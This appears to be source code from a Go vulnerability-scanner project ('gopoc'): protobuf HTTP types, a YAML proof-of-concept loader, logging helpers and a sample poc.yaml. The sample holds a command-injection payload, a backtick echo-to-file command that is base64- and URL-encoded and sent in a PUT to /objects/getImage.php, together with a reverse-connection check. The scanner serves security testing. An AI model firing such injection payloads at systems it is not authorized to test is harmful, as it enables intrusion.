30 | Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"` 31 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 32 | XXX_unrecognized []byte `json:"-"` 33 | XXX_sizecache int32 `json:"-"` 34 | } 35 | 36 | func (m *UrlType) Reset() { *m = UrlType{} } 37 | func (m *UrlType) String() string { return proto.CompactTextString(m) } 38 | func (*UrlType) ProtoMessage() {} 39 | func (*UrlType) Descriptor() ([]byte, []int) { 40 | return fileDescriptor_11b04836674e6f94, []int{0} 41 | } 42 | 43 | func (m *UrlType) XXX_Unmarshal(b []byte) error { 44 | return xxx_messageInfo_UrlType.Unmarshal(m, b) 45 | } 46 | func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 47 | return xxx_messageInfo_UrlType.Marshal(b, m, deterministic) 48 | } 49 | func (m *UrlType) XXX_Merge(src proto.Message) { 50 | xxx_messageInfo_UrlType.Merge(m, src) 51 | } 52 | func (m *UrlType) XXX_Size() int { 53 | return xxx_messageInfo_UrlType.Size(m) 54 | } 55 | func (m *UrlType) XXX_DiscardUnknown() { 56 | xxx_messageInfo_UrlType.DiscardUnknown(m) 57 | } 58 | 59 | var xxx_messageInfo_UrlType proto.InternalMessageInfo 60 | 61 | func (m *UrlType) GetScheme() string { 62 | if m != nil { 63 | return m.Scheme 64 | } 65 | return "" 66 | } 67 | 68 | func (m *UrlType) GetDomain() string { 69 | if m != nil { 70 | return m.Domain 71 | } 72 | return "" 73 | } 74 | 75 | func (m *UrlType) GetHost() string { 76 | if m != nil { 77 | return m.Host 78 | } 79 | return "" 80 | } 81 | 82 | func (m *UrlType) GetPort() string { 83 | if m != nil { 84 | return m.Port 85 | } 86 | return "" 87 | } 88 | 89 | func (m *UrlType) GetPath() string { 90 | if m != nil { 91 | return m.Path 92 | } 93 | return "" 94 | } 95 | 96 | func (m *UrlType) GetQuery() string { 97 | if m != nil { 98 | return m.Query 99 | } 100 | return "" 101 | } 102 | 103 | func (m *UrlType) GetFragment() string { 104 | if m != nil { 105 | return m.Fragment 106 | } 107 | return "" 108 | } 109 | 110 | type Request struct { 111 | Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` 112 | Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"` 113 | Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` 114 | ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"` 115 | Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"` 116 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 117 | XXX_unrecognized []byte `json:"-"` 118 | XXX_sizecache int32 `json:"-"` 119 | } 120 | 121 | func (m *Request) Reset() { *m = Request{} } 122 | func (m *Request) String() string { return proto.CompactTextString(m) } 123 | func (*Request) ProtoMessage() {} 124 | func (*Request) Descriptor() ([]byte, []int) { 125 | return fileDescriptor_11b04836674e6f94, []int{1} 126 | } 127 | 128 | func (m *Request) XXX_Unmarshal(b []byte) error { 129 | return xxx_messageInfo_Request.Unmarshal(m, b) 130 | } 131 | func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 132 | return xxx_messageInfo_Request.Marshal(b, m, deterministic) 133 | } 134 | func (m *Request) XXX_Merge(src proto.Message) { 135 | xxx_messageInfo_Request.Merge(m, src) 136 | } 137 | func (m *Request) XXX_Size() int { 138 | return xxx_messageInfo_Request.Size(m) 139 | } 140 | func (m *Request) XXX_DiscardUnknown() { 141 | xxx_messageInfo_Request.DiscardUnknown(m) 142 | } 143 | 144 | var xxx_messageInfo_Request proto.InternalMessageInfo 145 | 146 | func (m *Request) GetUrl() *UrlType { 147 | if m != nil { 148 | return m.Url 149 | } 150 | return nil 151 | } 152 | 153 | func (m *Request) GetMethod() string { 154 | if m != nil { 155 | return m.Method 156 | } 157 | return "" 158 | } 159 | 160 | func (m *Request) GetHeaders() map[string]string { 161 | if m != nil { 162 | return m.Headers 163 | } 164 | return nil 165 | } 166 | 167 | func (m *Request) GetContentType() string { 168 | if m != nil { 169 | return m.ContentType 170 | } 171 | return "" 172 | } 173 | 174 | func (m *Request) GetBody() []byte { 175 | if m != nil { 176 | return m.Body 177 | } 178 | return nil 179 | } 180 | 181 | type Response struct { 182 | Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` 183 | Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"` 184 | Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` 185 | ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"` 186 | Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"` 187 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 188 | XXX_unrecognized []byte `json:"-"` 189 | XXX_sizecache int32 `json:"-"` 190 | } 191 | 192 | func (m *Response) Reset() { *m = Response{} } 193 | func (m *Response) String() string { return proto.CompactTextString(m) } 194 | func (*Response) ProtoMessage() {} 195 | func (*Response) Descriptor() ([]byte, []int) { 196 | return fileDescriptor_11b04836674e6f94, []int{2} 197 | } 198 | 199 | func (m *Response) XXX_Unmarshal(b []byte) error { 200 | return xxx_messageInfo_Response.Unmarshal(m, b) 201 | } 202 | func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 203 | return xxx_messageInfo_Response.Marshal(b, m, deterministic) 204 | } 205 | func (m *Response) XXX_Merge(src proto.Message) { 206 | xxx_messageInfo_Response.Merge(m, src) 207 | } 208 | func (m *Response) XXX_Size() int { 209 | return xxx_messageInfo_Response.Size(m) 210 | } 211 | func (m *Response) XXX_DiscardUnknown() { 212 | xxx_messageInfo_Response.DiscardUnknown(m) 213 | } 214 | 215 | var xxx_messageInfo_Response proto.InternalMessageInfo 216 | 217 | func (m *Response) GetUrl() *UrlType { 218 | if m != nil { 219 | return m.Url 220 | } 221 | return nil 222 | } 223 | 224 | func (m *Response) GetStatus() int32 { 225 | if m != nil { 226 | return m.Status 227 | } 228 | return 0 229 | } 230 | 231 | func (m *Response) GetHeaders() map[string]string { 232 | if m != nil { 233 | return m.Headers 234 | } 235 | return nil 236 | } 237 | 238 | func (m *Response) GetContentType() string { 239 | if m != nil { 240 | return m.ContentType 241 | } 242 | return "" 243 | } 244 | 245 | func (m *Response) GetBody() []byte { 246 | if m != nil { 247 | return m.Body 248 | } 249 | return nil 250 | } 251 | 252 | type Reverse struct { 253 | Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` 254 | Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"` 255 | Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"` 256 | IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"` 257 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 258 | XXX_unrecognized []byte `json:"-"` 259 | XXX_sizecache int32 `json:"-"` 260 | } 261 | 262 | func (m *Reverse) Reset() { *m = Reverse{} } 263 | func (m *Reverse) String() string { return proto.CompactTextString(m) } 264 | func (*Reverse) ProtoMessage() {} 265 | func (*Reverse) Descriptor() ([]byte, []int) { 266 | return fileDescriptor_11b04836674e6f94, []int{3} 267 | } 268 | 269 | func (m *Reverse) XXX_Unmarshal(b []byte) error { 270 | return xxx_messageInfo_Reverse.Unmarshal(m, b) 271 | } 272 | func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 273 | return xxx_messageInfo_Reverse.Marshal(b, m, deterministic) 274 | } 275 | func (m *Reverse) XXX_Merge(src proto.Message) { 276 | xxx_messageInfo_Reverse.Merge(m, src) 277 | } 278 | func (m *Reverse) XXX_Size() int { 279 | return xxx_messageInfo_Reverse.Size(m) 280 | } 281 | func (m *Reverse) XXX_DiscardUnknown() { 282 | xxx_messageInfo_Reverse.DiscardUnknown(m) 283 | } 284 | 285 | var xxx_messageInfo_Reverse proto.InternalMessageInfo 286 | 287 | func (m *Reverse) GetUrl() *UrlType { 288 | if m != nil { 289 | return m.Url 290 | } 291 | return nil 292 | } 293 | 294 | func (m *Reverse) GetDomain() string { 295 | if m != nil { 296 | return m.Domain 297 | } 298 | return "" 299 | } 300 | 301 | func (m *Reverse) GetIp() string { 302 | if m != nil { 303 | return m.Ip 304 | } 305 | return "" 306 | } 307 | 308 | func (m *Reverse) GetIsDomainNameServer() bool { 309 | if m != nil { 310 | return m.IsDomainNameServer 311 | } 312 | return false 313 | } 314 | 315 | func init() { 316 | proto.RegisterType((*UrlType)(nil), "lib.UrlType") 317 | proto.RegisterType((*Request)(nil), "lib.Request") 318 | proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry") 319 | proto.RegisterType((*Response)(nil), "lib.Response") 320 | proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry") 321 | proto.RegisterType((*Reverse)(nil), "lib.Reverse") 322 | } 323 | 324 | func init() { 325 | proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94) 326 | } 327 | 328 | var fileDescriptor_11b04836674e6f94 = []byte{ 329 | // 378 bytes of a gzipped FileDescriptorProto 330 | 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40, 331 | 0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57, 332 | 0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2, 333 | 0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08, 334 | 0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69, 335 | 0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51, 336 | 0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf, 337 | 0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb, 338 | 0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a, 339 | 0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec, 340 | 0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84, 341 | 0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10, 342 | 0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8, 343 | 0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42, 344 | 0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2, 345 | 0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71, 346 | 0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65, 347 | 0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55, 348 | 0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e, 349 | 0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65, 350 | 0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74, 351 | 0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe, 352 | 0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00, 353 | 0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00, 354 | } 355 | -------------------------------------------------------------------------------- /lib/http.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | package lib; 3 | 4 | message UrlType { 5 | string scheme = 1; 6 | string domain = 2; 7 | string host = 3; 8 | string port = 4; 9 | string path = 5; 10 | string query = 6; 11 | string fragment = 7; 12 | } 13 | 14 | message Request { 15 | UrlType url = 1; 16 | string method = 2; 17 | map headers = 3; 18 | string content_type = 4; 19 | bytes body = 5; 20 | } 21 | 22 | message Response { 23 | UrlType url = 1; 24 | int32 status = 2 ; 25 | map headers = 3; 26 | string content_type = 4; 27 | bytes body = 5; 28 | } 29 | 30 | message Reverse { 31 | UrlType url = 1; 32 | string domain = 2; 33 | string ip = 3; 34 | bool is_domain_name_server = 4; 35 | } -------------------------------------------------------------------------------- /lib/poc.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "fmt" 5 | "github.com/thoas/go-funk" 6 | "gopkg.in/yaml.v2" 7 | "gopoc/utils" 8 | "io/ioutil" 9 | "path/filepath" 10 | "regexp" 11 | "strings" 12 | ) 13 | 14 | type Poc struct { 15 | Name string `yaml:"name"` 16 | Set map[string]string `yaml:"set"` 17 | Rules []Rules `yaml:"rules"` 18 | Detail Detail `yaml:"detail"` 19 | } 20 | 21 | type Rules struct { 22 | Method string `yaml:"method"` 23 | Path string `yaml:"path"` 24 | Headers map[string]string `yaml:"headers"` 25 | Body string `yaml:"body"` 26 | Search string `yaml:"search"` 27 | FollowRedirects bool `yaml:"follow_redirects"` 28 | Expression string `yaml:"expression"` 29 | } 30 | 31 | type Detail struct { 32 | Author string `yaml:"author"` 33 | Links []string `yaml:"links"` 34 | Description string `yaml:"description"` 35 | Version string `yaml:"version"` 36 | } 37 | 38 | func LoadSinglePoc(fileName string) (*Poc, error) { 39 | return loadPoc(fileName) 40 | } 41 | 42 | func LoadMultiPoc(fileName string) []*Poc { 43 | fileName = strings.ReplaceAll(fileName, "\\", "/") 44 | var pocs []*Poc 45 | for _, f := range selectPoc(fileName) { 46 | if p, err := loadPoc(f); err == nil { 47 | pocs = append(pocs, p) 48 | } 49 | } 50 | return pocs 51 | } 52 | 53 | func loadPoc(fileName string) (*Poc, error) { 54 | p := &Poc{} 55 | yamlFile, err := ioutil.ReadFile(fileName) 56 | if err != nil { 57 | return nil, err 58 | } 59 | err = yaml.Unmarshal(yamlFile, p) 60 | if err != nil { 61 | return nil, err 62 | } 63 | return p, err 64 | } 65 | 66 | func selectPoc(fileName string) []string { 67 | return funk.UniqString(singlePoc(fileName)) 68 | } 69 | 70 | func singlePoc(fileName string) []string { 71 | var foundFiles []string 72 | if strings.HasSuffix(fileName, ".yml") || strings.HasSuffix(fileName, ".yaml") { 73 | if utils.FileExists(fileName) { 74 | foundFiles = append(foundFiles, fileName) 75 | } 76 | } 77 | // get more poc 78 | if strings.Contains(fileName, "*") && strings.Contains(fileName, "/") { 79 | asbPath, _ := filepath.Abs(fileName) 80 | baseSelect := filepath.Base(fileName) 81 | files := utils.GetFileNames(filepath.Dir(asbPath), "yml") 82 | //fmt.Println(files, baseSelect, asbPath) 83 | for _, f := range files { 84 | baseFile := filepath.Base(f) 85 | //if len(baseFile) == 1 && baseFile == "*" { 86 | if len(baseSelect) == 1 && baseSelect == "*" { //baseSelect为*则全部加入 87 | foundFiles = append(foundFiles, f) 88 | continue 89 | } 90 | if r, err := regexp.Compile(baseSelect); err != nil { //不符合正则表达式,如单个*,或者具体文件名 91 | fmt.Println(f, baseSelect) 92 | if strings.Contains(f, baseSelect) { 93 | foundFiles = append(foundFiles, f) 94 | } 95 | } else { //符合正则表达式,如.* 96 | if r.MatchString(baseFile) { 97 | foundFiles = append(foundFiles, f) 98 | } 99 | } 100 | } 101 | } 102 | return foundFiles 103 | } 104 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "gopoc/cmd" 4 | 5 | func main() { 6 | cmd.Execute() 7 | } 8 | -------------------------------------------------------------------------------- /poc.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-example-com 2 | set: 3 | reverse: newReverse() 4 | reverseURL: reverse.url 5 | reverseURLHost: reverse.url.host 6 | reverseDomain: reverse.domain 7 | r1: randomInt(40000, 44800) 8 | r2: randomInt(40000, 44800) 9 | referer: request.url 10 | host: request.url.host 11 | fileName: randomLowercase(4) + ".txt" 12 | content: randomLowercase(8) 13 | requestType: request.content_type 14 | payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) 15 | rules: 16 | - method: PUT 17 | headers: 18 | Referer: '{{referer}}' 19 | Domain: '{{host}}' 20 | Reverse: '{{reverseURL}}' 21 | path: "/objects/getImage.php" 22 | expression: | 23 | reverse.wait(3) 24 | body: | 25 | {{payload}} 26 | search: | 27 | = 0; { 94 | if remain == 0 { 95 | cache, remain = randSource.Int63(), letterIdxMax 96 | } 97 | if idx := int(cache & letterIdxMask); idx < len(letterBytes) { 98 | randBytes[i] = letterBytes[idx] 99 | i-- 100 | } 101 | cache >>= letterIdxBits 102 | remain-- 103 | } 104 | return string(randBytes) 105 | } 106 | -------------------------------------------------------------------------------- /utils/log.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "github.com/fatih/color" 6 | "github.com/sirupsen/logrus" 7 | prefixed "github.com/x-cray/logrus-prefixed-formatter" 8 | "os" 9 | ) 10 | 11 | var logger *logrus.Logger 12 | 13 | func InitLog(debug, verbose bool) { 14 | logger = &logrus.Logger{ 15 | Out: os.Stdout, 16 | Level: logrus.ErrorLevel, 17 | Formatter: &prefixed.TextFormatter{ 18 | ForceColors: true, 19 | ForceFormatting: true, 20 | FullTimestamp: true, 21 | TimestampFormat: "2006-01-02 15:04:05", 22 | }, 23 | } 24 | if debug == true { 25 | logger.SetLevel(logrus.DebugLevel) 26 | } else if verbose == true { 27 | logger.SetOutput(os.Stdout) 28 | logger.SetLevel(logrus.InfoLevel) 29 | } 30 | } 31 | 32 | // GoodF print good message 33 | func Green(format string, args ...interface{}) { 34 | good := color.HiGreenString("[+]") 35 | fmt.Printf("%s %s\n", good, fmt.Sprintf(format, args...)) 36 | } 37 | 38 | func Yellow(format string, args ...interface{}) { 39 | good := color.YellowString("[!]") 40 | fmt.Printf("%s %s\n", good, fmt.Sprintf(format, args...)) 41 | } 42 | 43 | // InforF print info message 44 | func InforF(format string, args ...interface{}) { 45 | logger.Info(fmt.Sprintf(format, args...)) 46 | } 47 | 48 | func Info(args ...interface{}) { 49 | logger.Infoln(args) 50 | } 51 | 52 | // ErrorF print good message 53 | func ErrorF(format string, args ...interface{}) { 54 | logger.Error(fmt.Sprintf(format, args...)) 55 | } 56 | 57 | func Error(args ...interface{}) { 58 | logger.Errorln(args) 59 | } 60 | 61 | func WarningF(format string, args ...interface{}) { 62 | logger.Warningf(fmt.Sprintf(format, args...)) 63 | } 64 | 65 | func Warning(args ...interface{}) { 66 | logger.Warningln(args) 67 | } 68 | 69 | // DebugF print debug message 70 | func DebugF(format string, args ...interface{}) { 71 | logger.Debug(fmt.Sprintf(format, args...)) 72 | } 73 | 74 | func Debug(args ...interface{}) { 75 | logger.Debugln(args) 76 | } 77 | --------------------------------------------------------------------------------